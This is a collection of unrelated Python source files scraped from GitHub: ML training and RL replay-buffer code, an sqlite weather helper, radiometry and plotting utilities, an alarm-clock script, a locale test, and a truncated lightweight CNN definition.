decoder_optimizer, embedding, encoder_n_layers, decoder_n_layers,\r\n save_dir, n_iteration, batch_size, print_every, save_every, clip,\r\n corpus_name, loadFilename, train_name):\r\n\r\n # Load batches for each iteration\r\n training_batches = [\r\n batch2TrainData(\r\n voc,\r\n [random.choice(pairs) for _ in range(batch_size)])\r\n for _ in range(n_iteration)]\r\n\r\n # Initializations\r\n print('Initializing ...')\r\n print(\"Time started: {}\".format(time.asctime(time.localtime(time.time()))))\r\n start_iteration = 1\r\n print_loss = 0\r\n if loadFilename:\r\n start_iteration = checkpoint['iteration'] + 1\r\n\r\n # Training loop\r\n print(\"Training...\")\r\n for iteration in range(start_iteration, n_iteration + 1):\r\n training_batch = training_batches[iteration - 1]\r\n # Extract fields from batch\r\n input_variable, lengths, target_variable, mask, max_target_len = training_batch\r\n\r\n # Run a training iteration with batch\r\n loss = train(\r\n input_variable,\r\n lengths,\r\n target_variable,\r\n mask,\r\n max_target_len,\r\n encoder,\r\n decoder,\r\n embedding,\r\n encoder_optimizer,\r\n decoder_optimizer,\r\n batch_size,\r\n clip)\r\n print_loss += loss\r\n\r\n # Print progress\r\n if iteration % print_every == 0:\r\n print_loss_avg = print_loss / print_every\r\n print(\"Iteration: {}; Percent complete: {:.1f}%; Average loss: {:.4f}\".format(iteration, iteration / n_iteration * 100, print_loss_avg))\r\n print_loss = 0\r\n\r\n if iteration % 500 == 0:\r\n print(\"Current time is: {}\".format(time.asctime(time.localtime(time.time()))))\r\n\r\n # Save checkpoint\r\n if (iteration % save_every == 0):\r\n directory = os.path.join(save_dir,\r\n model_name,\r\n corpus_name,\r\n '{}-{}_{}_{}'.format(encoder_n_layers,\r\n decoder_n_layers,\r\n hidden_size, train_name))\r\n if not os.path.exists(directory):\r\n os.makedirs(directory)\r\n torch.save(\r\n {'iteration': iteration, 'en': encoder.state_dict(),\r\n 'de': decoder.state_dict(),\r\n 'en_opt': encoder_optimizer.state_dict(),\r\n 'de_opt': decoder_optimizer.state_dict(),\r\n 'loss': loss,\r\n 'voc_dict': voc.__dict__,\r\n 'embedding': embedding.state_dict()},\r\n os.path.join(\r\n directory, '{}_{}.tar'.format(iteration, 'checkpoint')))\r\n","repo_name":"TautvydasCerniauskas/DissertationCode","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":9059,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"9636380","text":"\nimport numpy as np\n\nfrom accel_rl.buffers.batch import build_array\n\n\nclass FrameReplayBuffer(object):\n \"\"\"\n Stores unique frames only (reduced memory footprint).\n Assumes the observation is composed of consective frames, so that\n two consecutive observations would be, e.g.:\n obs0: [frame0, frame1, frame2]\n obs1: [frame1, frame2, frame3] (where higher number is newer)\n\n All buffers are environment-wise.\n\n Frame-history following a reset will be blank (zeros).\n\n Should be subclassed depending on sampling method (e.g. uniform,\n proportional)\n \"\"\"\n\n def __init__(\n self,\n env_spec,\n size,\n reward_horizon,\n sampling_horizon,\n n_environments,\n discount,\n reward_dtype=\"float32\",\n ):\n\n sampling_size = sampling_horizon * n_environments\n n_chunks = -(-size // sampling_size) # (ceiling division)\n replay_size = n_chunks * sampling_size\n self.env_replay_size = env_replay_size = replay_size // n_environments\n assert n_environments * env_replay_size == replay_size\n self.n_environments = n_environments\n\n env_buf_args = dict(\n env_spec=env_spec,\n size=env_replay_size,\n reward_horizon=reward_horizon,\n discount=discount,\n reward_dtype=reward_dtype,\n )\n self.env_bufs = [EnvBuffer(**env_buf_args) for _ in range(n_environments)]\n\n self.num_img_obs = self.env_bufs[0].num_img_obs\n self.reward_horizon = reward_horizon\n self.sampling_horizon = sampling_horizon\n self.discount = discount\n\n self.idx = 0 # (where to write the next state)\n\n def append_data(self, samples_data):\n for env_buf, path in zip(self.env_bufs, samples_data[\"segs_view\"]):\n env_buf.write_samples(path, self.idx)\n self.idx = (self.idx + self.sampling_horizon) % self.env_replay_size\n\n def sample_batch(self, batch_size):\n raise NotImplementedError\n\n ###########################################################################\n # Helper methods #\n ###########################################################################\n\n def extract_batch(self, env_idxs, step_idxs):\n next_step_idxs = (step_idxs + self.reward_horizon) % self.env_replay_size\n observations = self.extract_observations(env_idxs, step_idxs)\n next_observations = self.extract_observations(env_idxs, next_step_idxs)\n actions = np.array([self.env_bufs[e].acts[i]\n for e, i in zip(env_idxs, step_idxs)])\n returns = np.array([self.env_bufs[e].returns[i]\n for e, i in zip(env_idxs, step_idxs)])\n terminals = np.array([self.env_bufs[e].terminals[i]\n for e, i in zip(env_idxs, step_idxs)])\n return observations, next_observations, actions, returns, terminals\n\n def extract_observations(self, env_idxs, step_idxs):\n n = self.num_img_obs\n observations = np.stack([self.env_bufs[e].frames[i:i + n]\n for e, i in zip(env_idxs, step_idxs)])\n blanks = [self.env_bufs[e].n_blanks[i]\n for e, i in zip(env_idxs, step_idxs)]\n for j, b in enumerate(blanks):\n if b:\n observations[j][:b] = 0 # (after reset, some blank frames)\n return observations\n\n\nclass EnvBuffer(object):\n \"\"\"\n Handles the data for one environment instance.\n \"\"\"\n\n def __init__(\n self,\n env_spec,\n size,\n reward_horizon,\n discount,\n reward_dtype,\n ):\n self.reward_horizon = reward_horizon\n self.discount = discount\n\n obs = env_spec.observation_space.sample()\n act = env_spec.action_space.sample()\n self.num_img_obs = n = obs.shape[0]\n # (redundant frame storage for easier idx wrapping)\n n_frames = size + n - 1\n\n self.frames = build_array(obs[0], n_frames)\n self.acts = build_array(act, size)\n self.n_blanks = np.zeros(n_frames, dtype=np.uint8)\n self.terminals = np.zeros(size, dtype=np.bool)\n self.rewards = np.zeros(size, dtype=reward_dtype)\n self.returns = np.zeros(size, dtype=reward_dtype)\n\n def write_samples(self, path_data, idx):\n \"\"\"\n idx: idx of next state to be written\n \"\"\"\n n = self.num_img_obs\n h_s = len(path_data[\"rewards\"]) # sampling_horizon\n h_r = self.reward_horizon\n f_idx = idx + (n - 1) # (frame_idx)\n r_idx = idx - (h_r - 1) # (return_idx: negative wraps automatically)\n\n # If just wrapped, copy relevant ending values to beginning\n # (Assumes env_size is multiple of sampling horizon, will get idx == 0)\n # (Do AFTER wrapping next_idx but BEFORE in-processing new samples)\n if idx == 0:\n self.frames[:n - 1] = self.frames[-(n - 1):]\n self.n_blanks[:n - 1] = self.n_blanks[-(n - 1):]\n\n self.acts[idx:idx + h_s] = path_data[\"actions\"]\n self.rewards[idx:idx + h_s] = path_data[\"rewards\"]\n self.terminals[idx:idx + h_s] = terms = path_data[\"dones\"]\n for t, obs in enumerate(path_data[\"observations\"]):\n self.frames[f_idx + t] = obs[-1] # copy only last (newest) frame\n for t, term in enumerate(terms):\n if term:\n # populate the following states with n_blanks = [3, 2, 1]\n self.n_blanks[idx + t + 1:idx + t + n] = np.arange(n - 1, 0, -1)\n elif self.n_blanks[idx + t + 1] and \\\n self.n_blanks[idx + t + 1] >= self.n_blanks[idx + t]:\n # this non-zero n_blanks is leftover: clear it\n # (have to do one at a time because wrapping caused a\n # problem where a 3 could get over-written, with 2's and 1's\n # left dangling, when checking env_blanks[idx + t + 1] == 3)\n self.n_blanks[idx + t + 1] = 0\n for t in range(h_s):\n ret = self.rewards[r_idx + t]\n if not self.terminals[r_idx + t]:\n for i in range(1, h_r):\n ret += (self.discount ** i) * self.rewards[r_idx + t + i]\n if self.terminals[r_idx + t + i]:\n # NOTE: careful not to reverse the range(h_s) for-loop\n # when checking and setting terminal status here.\n # Mark terminal within (h_r - 1) steps of actual end\n self.terminals[r_idx + t] = True\n break\n self.returns[r_idx + t] = ret\n","repo_name":"astooke/accel_rl","sub_path":"accel_rl/algos/dqn/replay_buffers/frame.py","file_name":"frame.py","file_ext":"py","file_size_in_byte":6694,"program_lang":"python","lang":"en","doc_type":"code","stars":47,"dataset":"github-code","pt":"35"} +{"seq_id":"13900984677","text":"\"\"\" This file is responsible for managing access to sqlite DB\"\"\"\nimport datetime\nimport os\n\nimport sqlite3\n\n\nclass Database:\n def __init__(self, db_name):\n self.conn = sqlite3.connect(db_name)\n self.cursor = self.conn.cursor()\n\n def create_table(self, table_name, columns):\n try:\n create_table_sql = f\"CREATE TABLE IF NOT EXISTS {table_name} ({', '.join(columns)})\"\n self.cursor.execute(create_table_sql)\n self.conn.commit()\n print(f\"Table '{table_name}' created successfully.\")\n except sqlite3.Error as e:\n print(f\"Error creating table '{table_name}': {e}\")\n\n def insert_weather(self, data):\n try:\n placeholders = ', '.join(['?'] * len(data))\n insert_sql = f\"INSERT INTO weather (url, temperature, weather_date) VALUES ({placeholders})\"\n self.cursor.execute(insert_sql, data)\n self.conn.commit()\n print(\"Data inserted successfully.\")\n except sqlite3.Error as e:\n print(f\"Error inserting data: {e}\")\n\n def query_data(self, table_name, condition=None):\n try:\n query_sql = f\"SELECT * FROM {table_name}\"\n if condition:\n query_sql += f\" WHERE {condition}\"\n self.cursor.execute(query_sql)\n rows = self.cursor.fetchall()\n return rows\n except sqlite3.Error as e:\n print(f\"Error querying data: {e}\")\n return []\n\n def close_connection(self):\n self.conn.close()\n print(\"Database connection closed.\")\n\n\nclass PlaceEntity:\n def __init__(self, name, country, gps_latitude=0.0, gps_longitude=0.0):\n self.name = name\n self.gps_latitude = gps_latitude\n self.gps_longitude = gps_longitude\n self.country = country\n\n\ndef initialize_db():\n os.remove(\"weather.db\")\n db = Database(\"weather.db\")\n\n # Create a table\n table_name = \"weather\"\n weather_columns = [\"id INTEGER PRIMARY KEY\", \"url TEXT\", \"temperature FLOAT, weather_date DATETIME\"]\n db.create_table(table_name, weather_columns)\n\n place_columns = [\"id INTEGER PRIMARY KEY, name TEXT, latitude FLOAT, longitude FLOAT, country TEXT\"]\n db.create_table(\"places\", place_columns)\n # Insert data\n data1 = (\"www.example-weather.com/today\", \"35.5\", datetime.date.today())\n data2 = (\"www.basic-weather.com/today\", \"34.5\", datetime.date.today())\n\n db.insert_weather( data1)\n db.insert_weather( data2)\n\n # Query data\n result = db.query_data(table_name)\n for row in result:\n print(row)\n\n # Close the database connection\n db.close_connection()\n\n\nif __name__ == \"__main__\":\n initialize_db()\n","repo_name":"xadamec1/weather-stats","sub_path":"db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":2704,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"34439051255","text":"#Randomnizar frases\r\n#Podemos crear un documento que sea el diccionarario, una vez que lo hemos creado podemos llamarlo desde\r\n#otro archivo con el import y que este documento solo sea una linea donde se le este llamando, del estilo frases = [frases_tipo_uno,frases_tipo_dos etc... ]\r\n#en base a los diferentes tipos de preguntas que tengamos.\r\n\r\n\r\nimport random\r\nfrom frases import frases\r\n\r\n\r\n\r\ndef texto_random(bloques_frases):\r\n with open('frases_2.txt', 'a+') as f:\r\n for _ in range(bloques_frases): \r\n for bloques in range(6):\r\n frase = frases[random.randint (0, 33)]\r\n print('Frase:', bloques + 1, ':', frase)\r\n f.write(str('Frase:' + str(bloques) + frase +'\\n' '/*************'))\r\n \r\n \r\n\r\nbloques_frases = int(input('¿Cuantos bloques de frases quieres (numero entero)? > '))\r\ntexto_random(bloques_frases)\r\n\r\n","repo_name":"Fictizia/Master-en-Programacion-con-Python_ed2","sub_path":"alberto/09_class/text_random.py","file_name":"text_random.py","file_ext":"py","file_size_in_byte":920,"program_lang":"python","lang":"es","doc_type":"code","stars":4,"dataset":"github-code","pt":"35"} +{"seq_id":"73966977381","text":"import pandas as pd\nimport numpy as np\nimport plotly.graph_objects as go\nimport plotly.colors\nfrom PIL import ImageColor\nfrom pathlib import Path\nimport shutil\nfrom datetime import datetime, timedelta\nimport math\n\n# ####################### BASIC DEFINITIONS #######################\ns2bands = ['443', '490', '560', '665', '705', '740', '783', '842', '865', '940']\ns2bands_norm = [f'n{b}' for b in s2bands]\n\n# S3 bands\ns3bands = ['400', '412', '442', '490', '510', '560', '620', '665', '674', '681', '709', '754', '761', '764',\n '767', '779', '865', '885', '900', '940']\ns3bands_norm = [f'n{b}' for b in s3bands]\n\n\ndef wavelength_range(ini_wl, last_wl, step=1, prefix=''):\n \"\"\"Creates a range of wavelengths from initial to last, in a defined nanometers step.\"\"\"\n return [f'{prefix}{wl}' for wl in range(ini_wl, last_wl + 1, step)]\n\n\nall_wls = wavelength_range(400, 920)\nall_wls_norm = [f'n{b}' for b in all_wls]\n\n\n# ####################### BASIC FUNCTIONS #######################\ndef listify(*args):\n \"\"\"Transform each passed arg into a list, to avoid errors trying to loop through non-iterable instances\"\"\"\n result = []\n for arg in args:\n result.append(arg if isinstance(arg, slice) or isinstance(arg, list) else ([] if arg is None else [arg]))\n if len(result) == 1:\n return result[0]\n else:\n return tuple(result)\n\n\ndef hex_to_rgb(hex_color: str) -> tuple:\n hex_color = hex_color.lstrip(\"#\")\n if len(hex_color) == 3:\n hex_color = hex_color * 2\n return int(hex_color[0:2], 16), int(hex_color[2:4], 16), int(hex_color[4:6], 16)\n\n\n# ####################### FILES FUNCTIONS #######################\ndef rm_tree(pth, del_root=True):\n # remove the folder\n pth = Path(pth)\n for child in pth.glob('*'):\n if child.is_file():\n child.unlink()\n else:\n rm_tree(child)\n if del_root:\n pth.rmdir()\n\n\ndef check_file(path, file_name):\n \"\"\"Check if a file exists in the given path\"\"\"\n path = Path(path)\n\n if path.exists():\n for f in path.iterdir():\n if file_name in f.name:\n return f\n\n return False\n\n\ndef get_file_datetime(file: Path, ft='%Y-%m-%d %H:%M:%S') -> str:\n \"\"\"Get the formatted datetime of a specified file\"\"\"\n\n # if there is a wildcard '*' in the name, search for the first occurence\n if '*' in file.stem:\n files = [f for f in file.parent.glob(file.name)]\n if len(files) > 0:\n file = files[0]\n else:\n return 'Not Found'\n\n if file.exists():\n dt = datetime.fromtimestamp(file.stat().st_mtime)\n return dt.strftime(ft)\n else:\n return 'Not Found'\n\n\ndef get_file_by_suffix(path, stem, suffixes=None):\n \"\"\"Get the file that matches the suffix in the order of preference of suffixes\"\"\"\n if suffixes is None:\n suffixes = ['.csv', '.txt', '.mlb']\n\n for suffix in suffixes:\n f = check_file(path, stem + suffix)\n if f:\n return f\n\n return False\n\n\ndef copy_dir(old_dir, new_dir, pattern='*'):\n old_dir = Path(old_dir)\n new_dir = Path(new_dir)\n new_dir.mkdir(parents=True, exist_ok=True)\n\n for old_f in old_dir.glob(pattern):\n if not old_f.is_dir():\n new_f = new_dir / old_f.name\n shutil.copy(old_f, new_f)\n\n\ndef match_files_names(files, names_lst):\n \"\"\"\n Given two lists (files and names) check if all the names appear in the files.\n This function serve to check for the completeness of the directory.\n \"\"\"\n stems = [f.stem for f in files]\n\n for name in names_lst:\n if name not in stems:\n return False\n return True\n\n\ndef get_complete_dirs(base_dir, names_lst):\n \"\"\"\n Go through the subdirectories in base_dir and return those that are completed, that contains all the\n files in names_lst.\n \"\"\"\n # get all the subdirectories in the base_dir\n dirs = [d for d in base_dir.rglob(\"*\") if d.is_dir()]\n\n complete_dirs = []\n # look for directories that have the \"full structure\"\n for d in dirs:\n files = [f for f in d.iterdir() if not f.is_dir()]\n\n if match_files_names(files, names_lst):\n complete_dirs.append(d)\n\n return complete_dirs\n\n\n# ####################### Date Time Conversion Functions #######################\ndef from_excel_date(ordinal, epoch=datetime(1900, 1, 1)):\n # Adapted from above, thanks to @Martijn Pieters\n\n if ordinal > 59:\n ordinal -= 1 # Excel leap year bug, 1900 is not a leap year!\n in_days = int(ordinal)\n frac = ordinal - in_days\n in_secs = int(round(frac * 86400.0))\n\n return epoch + timedelta(days=in_days - 1, seconds=in_secs) # epoch is day 1\n\n\ndef to_excel_date(dt, epoch=datetime(1900, 1, 1)):\n td = dt - epoch\n return round(td.days + 2 + td.seconds / 86400, 6)\n\n\n# ####################### COLOR FUNCTIONS #######################\ndef get_color(loc, colorscale_name):\n from _plotly_utils.basevalidators import ColorscaleValidator\n # first parameter: Name of the property being validated\n # second parameter: a string, doesn't really matter in our use case\n cv = ColorscaleValidator(\"colorscale\", \"\")\n # colorscale will be a list of lists: [[loc1, \"rgb1\"], [loc2, \"rgb2\"], ...]\n colorscale = cv.validate_coerce(colorscale_name)\n\n if hasattr(loc, \"__iter__\"):\n return [get_continuous_color(colorscale, x) for x in loc]\n return get_continuous_color(colorscale, loc)\n\n\ndef get_continuous_color(colorscale, intermed):\n \"\"\"\n Plotly continuous colorscales assign colors to the range [0, 1]. This function computes the intermediate\n color for any value in that range.\n\n Plotly doesn't make the colorscales directly accessible in a common format.\n Some are ready to use:\n\n colorscale = plotly.colors.PLOTLY_SCALES[\"Greens\"]\n\n Others are just swatches that need to be constructed into a colorscale:\n\n viridis_colors, scale = plotly.colors.convert_colors_to_same_type(plotly.colors.sequential.Viridis)\n colorscale = plotly.colors.make_colorscale(viridis_colors, scale=scale)\n\n :param colorscale: A plotly continuous colorscale defined with RGB string colors.\n :param intermed: value in the range [0, 1]\n :return: color in rgb string format\n :rtype: str\n \"\"\"\n if len(colorscale) < 1:\n raise ValueError(\"colorscale must have at least one color\")\n\n hex_to_rgb = lambda c: \"rgb\" + str(ImageColor.getcolor(c, \"RGB\"))\n\n if intermed <= 0 or len(colorscale) == 1:\n c = colorscale[0][1]\n return c if c[0] != \"#\" else hex_to_rgb(c)\n if intermed >= 1:\n c = colorscale[-1][1]\n return c if c[0] != \"#\" else hex_to_rgb(c)\n\n for cutoff, color in colorscale:\n if intermed > cutoff:\n low_cutoff, low_color = cutoff, color\n else:\n high_cutoff, high_color = cutoff, color\n break\n\n if (low_color[0] == \"#\") or (high_color[0] == \"#\"):\n # some color scale names (such as cividis) returns:\n # [[loc1, \"hex1\"], [loc2, \"hex2\"], ...]\n low_color = hex_to_rgb(low_color)\n high_color = hex_to_rgb(high_color)\n\n return plotly.colors.find_intermediate_color(\n lowcolor=low_color,\n highcolor=high_color,\n intermed=((intermed - low_cutoff) / (high_cutoff - low_cutoff)),\n colortype=\"rgb\",\n )\n\n\n# ####################### PLOTTING FUNCTIONS #######################\ndef apply_subplot(fig, subplot, position):\n \"\"\"\n Given a main figure and a subplot, applies the subplot into the figure.\n :param fig: Main figure, previously created by plotly.subplots.make_subplots\n :param subplot: Another figure to be copied into the main figure\n :param position: Position in the main figure, initiating in (row=1, col=1)\n :return: The figure with the subplot applied.\n \"\"\"\n for t in subplot.data:\n # check if there is a color_bar to adjust its size\n if hasattr(t.marker, 'colorbar') and t.marker.colorbar.len:\n # get the y_axis domain for this specific subplot\n y_domain = fig.get_subplot(position[0], position[1]).yaxis.domain\n\n # adjust the colorbar accordingly\n t.marker.colorbar.len = y_domain[1] - y_domain[0]\n t.marker.colorbar.y = (y_domain[1] + y_domain[0]) / 2\n\n fig.add_trace(t, row=position[0], col=position[1])\n\n for axis, update_ax_func in zip(['xaxis', 'yaxis'], [fig.update_xaxes, fig.update_yaxes]):\n update_dic = {}\n for param in ['title', 'type']:\n update_dic.update({param: subplot.layout[axis][param]})\n update_ax_func(update_dic, row=position[0], col=position[1])\n\n fig.update_yaxes(range=subplot['layout']['yaxis']['range'], row=position[0], col=position[1])\n\n return fig\n\n\ndef plot_mean_std_traces(df, wls, std_delta=1., opacity=0.2, shaded=True, showlegend=False):\n\n mean = df[wls].mean()\n\n if shaded:\n std = df[wls].std()\n upper = mean + std*std_delta\n lower = mean - std*std_delta\n else:\n upper = lower = None\n\n traces = []\n\n transparent_color = f'rgba(150, 50, 50, {opacity})'\n if shaded:\n traces.append(go.Scatter(x=wls, y=upper, showlegend=showlegend, mode=None,\n line=dict(width=2, color='black', dash='dot'),\n name=f'upper ({std_delta} std)'\n ))\n traces.append(go.Scatter(x=wls, y=lower, fill='tonexty', showlegend=showlegend, mode=None,\n fillcolor=transparent_color,\n line=dict(width=2, color='black', dash='dot'),\n name=f'lower (-{std_delta} std)'\n ))\n\n traces.append(go.Scatter(x=wls, y=mean, name=f'Mean', line_color='red',\n showlegend=showlegend))\n\n return traces\n\n\n# ------------------- INTERPOLATION ------------------\ndef convert_columns_titles_types(df, data_type=float, drop_invalid=False):\n \"\"\"Change the columns titles names to a numerical format to interpolate the values accordingly\"\"\"\n valid_columns = []\n for column in df.columns:\n try:\n new_name = data_type(column)\n\n if data_type is not str:\n frac, _ = math.modf(new_name)\n if frac == 0:\n new_name = int(new_name)\n\n df = df.rename(columns={column: new_name})\n valid_columns.append(new_name)\n\n except:\n pass\n\n if drop_invalid:\n return df[valid_columns]\n else:\n return df\n\n\ndef sort_numerical_columns_titles(df):\n \"\"\"Order the numerical columns titles in ascending order. Will consider numerical,\n all the columns whose titles are not strings\"\"\"\n str_columns = [column for column in df.columns if isinstance(column, str)]\n num_columns = [column for column in df.columns if not isinstance(column, str)]\n num_columns.sort()\n return df[str_columns + num_columns]\n\n\ndef sort_column_titles(df):\n new_df = convert_columns_titles_types(df, float)\n new_df = sort_numerical_columns_titles(new_df)\n new_df = convert_columns_titles_types(new_df, str)\n return new_df\n\n\ndef create_evenly_spaced_columns(df, step=1, dtype=int, min_col=320, max_col=950):\n num_columns = [column for column in df.columns if not isinstance(column, str)]\n num_columns.sort()\n\n min_column = num_columns[0] if min_col is None else min_col\n max_column = num_columns[-1] if max_col is None else max_col\n\n start = math.ceil(min_column)\n end = math.floor(max_column)\n\n new_columns = np.arange(start, end+1, step, dtype=dtype)\n\n # Create the array of columns to be added to the dataframe (skip if existent to avoid duplicates)\n add_columns = [c for c in new_columns if c not in num_columns]\n\n df[add_columns] = pd.DataFrame([[np.nan for _ in add_columns]], index=df.index)\n return list(new_columns)\n\n\ndef create_interpolated_columns(df, step=1, drop_original_columns=True, create_id=True, min_col=None, max_col=None):\n \"\"\"Create evenly spaced columns (wavelengths), according to a given step and interpolate the values linearly\"\"\"\n df = convert_columns_titles_types(df)\n new_columns = create_evenly_spaced_columns(df, step=step, dtype=type(step), min_col=min_col, max_col=max_col)\n\n # get the numerical and the string columns to treat them separately\n num_columns = [column for column in df.columns if not isinstance(column, str)]\n str_columns = [column for column in df.columns if isinstance(column, str)]\n num_columns.sort()\n\n # convert all the values to float32 format\n for column in num_columns:\n df[column] = pd.to_numeric(df[column], errors='coerce', downcast='float')\n\n # proceed the interpolation\n df.loc[:, num_columns] = df[num_columns].astype('float').interpolate(method='index',\n axis=1,\n limit_area='inside')\n\n columns = new_columns if drop_original_columns else num_columns\n df = df[str_columns + columns]\n\n if create_id:\n df = df.reset_index().rename(columns={'index': 'Id'})\n\n # convert the columns titles back to strings\n convert_columns_titles_types(df, data_type=str)\n return df\n","repo_name":"cordmaur/RadiometryTrios","sub_path":"RadiometryTrios/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":13393,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"35"} +{"seq_id":"32301397028","text":"import datetime\r\nimport pyttsx3\r\nfrom playsound import playsound\r\nengine = pyttsx3.init('sapi5')\r\nvoices = engine.getProperty('voices')\r\nengine.setProperty('voice',voices[0].id)\r\ndef speak(audio):\r\n engine.say(audio)\r\n engine.runAndWait()\r\ndef alarm():\r\n speak('please enter the time when you want me to rang alarm')\r\n time = input('enter time here in H:M:S')\r\n while True:\r\n Time_ac = datetime.datetime.now()\r\n now = Time_ac.strftime('%H:%M:%S')\r\n if now==time:\r\n speak('Time to wake up sir')\r\nalarm()","repo_name":"aliazam1291/Alarm-clock-","sub_path":"clock.py","file_name":"clock.py","file_ext":"py","file_size_in_byte":549,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"73065475939","text":"from locale import getlocale, setlocale, LC_ALL, normalize\nimport sys\n\nto_try = [\n 'C',\n 'en',\n 'en_US',\n 'es',\n 'es_AR'\n]\n\n\n\nprint('\\nTrying the naked locale')\nfor loc in to_try:\n try:\n setlocale(LC_ALL, loc)\n res = getlocale()\n except Exception:\n res = ''\n print(loc, ':', res)\n\nprint('\\nTrying appending .utf8')\nfor loc in to_try:\n try:\n setlocale(LC_ALL, loc + '.utf8')\n res = getlocale()\n except Exception:\n res = ''\n print((loc + '.utf8'), ':', res)\n\nprint('\\nTrying tuples')\nfor loc in to_try:\n try:\n setlocale(LC_ALL, (loc, 'utf8'))\n res = getlocale()\n except Exception:\n res = ''\n print('('+ loc + ', utf8)', ':', res)\n\n\nprint('\\nTrying locale.normalize:')\nlangs = [\n 'bg',\n 'ca',\n 'de',\n 'el',\n 'en',\n 'eo',\n 'es',\n 'fa',\n 'fr',\n 'hr',\n 'it',\n 'jp',\n 'nl',\n 'pl',\n 'pt_br',\n 'ru',\n 'tr_tr',\n 'zh_cn'\n]\n\nfor e in langs:\n try:\n res = normalize(e)\n except Exception:\n res = ''\n print(e, ':', res)\n\n\ntry:\n setlocale(LC_ALL, '')\n res = getlocale()\nexcept Exception:\n res = ''\n\nprint(\"\\nLocale after setlocale(LC_ALL, ''):\", res)\n\n# In Travis, if the builder's locales are set in the travis.yml as suggested\n# in http://about.travis-ci.org/docs/user/common-build-problems/#System%3A-Required-langauge-pack-isn't-installed\n#\n# before_install:\n# - sudo apt-get update\n# - sudo apt-get --reinstall install -qq language-pack-en language-pack-es\n#\n#\n# We learn that in 2.6.8, 2.7.3, 3.3.\n# The locales 'C', 'en_US.utf8', 'es_AR.utf8' are valid\n# The locales 'C.utf8', 'en', 'es', 'en.utf8', 'es.utf8' are invalid\n# The locales ('C', utf8), ('en', utf8), ('en_us', utf8), ('es', utf8),\n# ('es_AR', utf8) are valid\n# The prefered locale, obtained with getlocale(LC_ALL, '') is 'en_US.utf8'\n# For the current nikola languajes, guessing the (string) locale by way of\n# locale.normalize seems sensible.\n\n# notice that locale functions don't coerce a string locale; string locale must\n# be str in each python. It is safest then to express string locales in the way\n# of locale_n = str('whatever') ; This makes it work for any python, with or\n# without from future import unicode_literals\n","repo_name":"ccanepa/unit_nk","sub_path":"tests/info.py","file_name":"info.py","file_ext":"py","file_size_in_byte":2310,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"12506512861","text":"\"\"\"\nfor CPU\n虽然有许多轻量级网络在基于ARM的设备上的推断速度很快,但很少有网络考虑到Intel CPU上的速度,特别是在启用了MKLDNN之类的加速策略时。\n许多提高模型精度的方法在ARM设备上不会增加太多的推理时间,但是当切换到Intel CPU设备时,情况会有所不同。\n\n1. 使用MobileNetV1提到的DepthSepConv作为基本块。该块没有shortcut方式之类的操作,\n因此没有concat或elementwise-add之类的附加操作,这些操作不仅会降低类的推理速度模型,而且对小模型也不会提高精度。\n2. 该块经过Intel CPU加速库的深度优化,推理速度可以超过其他轻量级块,如 inverted-block或shufflenet-block。\n\n\n3.激活函数\nEfficientNet => Swish\nMobileNetV3 => HSwish,从而避免了大量的指数运算。\n作者还将BaseNet中的激活函数从ReLU替换为HSwish,性能有了很大的提高,而推理时间几乎没有改变。\n\n4. SE block\n将SE模块添加到网络尾部附近的模块中。这带来了一个更好的精度-速度平衡。\n与MobileNetV3一样,SE模块的2层激活函数分别为ReLU和HSigmoid。\n\n\"\"\"\n\n\nimport math\nimport torch\nimport torch.nn as nn\nimport numpy as np\n\n\ndef autopad(k, p=None): # kernel, padding\n # Pad to 'same'\n if p is None:\n p = k // 2 if isinstance(k, int) else [x // 2 for x in k] # auto-pad\n return p\n\n\n\nNET_CONFIG = {\n # k, in_c, out_c, s, use_se\n \"blocks2\":[[3, 16, 32, 1, False]],\n \"blocks3\": [[3, 32, 64, 2, False], [3, 64, 64, 1, False]],\n \"blocks4\": [[3, 64, 128, 2, False], [3, 128, 128, 1, False]],\n \"blocks5\": [[3, 128, 256, 2, False], [5, 256, 256, 1, False],\n [5, 256, 256, 1, False], [5, 256, 256, 1, False],\n [5, 256, 256, 1, False], [5, 256, 256, 1, False]],\n \"blocks6\": [[5, 256, 512, 2, True], [5, 512, 512, 1, True]]\n}\nBLOCK_LIST = [\"blocks2\", \"blocks3\", \"blocks4\", \"blocks5\", \"blocks6\"]\n\ndef make_divisible_LC(v, divisor=8, min_value=None):\n if min_value is None:\n min_value = divisor\n new_v = max(min_value, int(v + divisor / 2) // divisor * divisor)\n if new_v < 0.9 * v:\n new_v += divisor\n return new_v\n\n\n# h_swish\nclass HardSwish(nn.Module): \n def __init__(self, inplace=True):\n super().__init__()\n self.relu6 = nn.ReLU6(inplace=inplace)\n\n def forward(self, x):\n return x * self.relu6(x+3) / 6\n\n# h_ sigmoid\nclass HardSigmoid(nn.Module):\n def __init__(self, inplace=True):\n super().__init__()\n # self.relu6 = nn.ReLU6(inplace=inplace)\n self.HardSwish = HardSwish(inplace=inplace)\n\n def forward(self, x):\n # return (self.relu6(x+3)) / 6\n return x * self.HardSwish(x)\n\n\nclass SELayer(nn.Module):\n def __init__(self, channel, reduction=16):\n super().__init__()\n self.avgpool = nn.AdaptiveAvgPool2d(1)\n self.fc = nn.Sequential(\n nn.Linear(channel, channel // reduction, bias=False),\n nn.ReLU(inplace=True),\n nn.Linear(channel // reduction, channel, bias=False),\n HardSigmoid()\n )\n\n def forward(self, x):\n b, c, h, w = x.size()\n y = self.avgpool(x).view(b, c)\n y = self.fc(y).view(b, c, 1, 1)\n # return x * y.expand_as(x)\n return x * y\n\n\nclass DepthwiseSeparable(nn.Module):\n # depth-wise + point-wise\n def __init__(self, inp, oup, dw_size, stride, use_se=False):\n super().__init__()\n self.use_se = use_se\n self.stride = stride\n self.inp = inp\n self.oup = oup\n self.dw_size = dw_size\n self.depthwise_pointwise = nn.Sequential(\n nn.Conv2d(self.inp, self.inp, kernel_size=self.dw_size, stride=self.stride,\n padding=autopad(self.dw_size, None), groups=self.inp, bias=False),\n nn.BatchNorm2d(self.inp),\n HardSwish(),\n\n nn.Conv2d(self.inp, self.oup, kernel_size=1, stride=1, padding=0, bias=False),\n 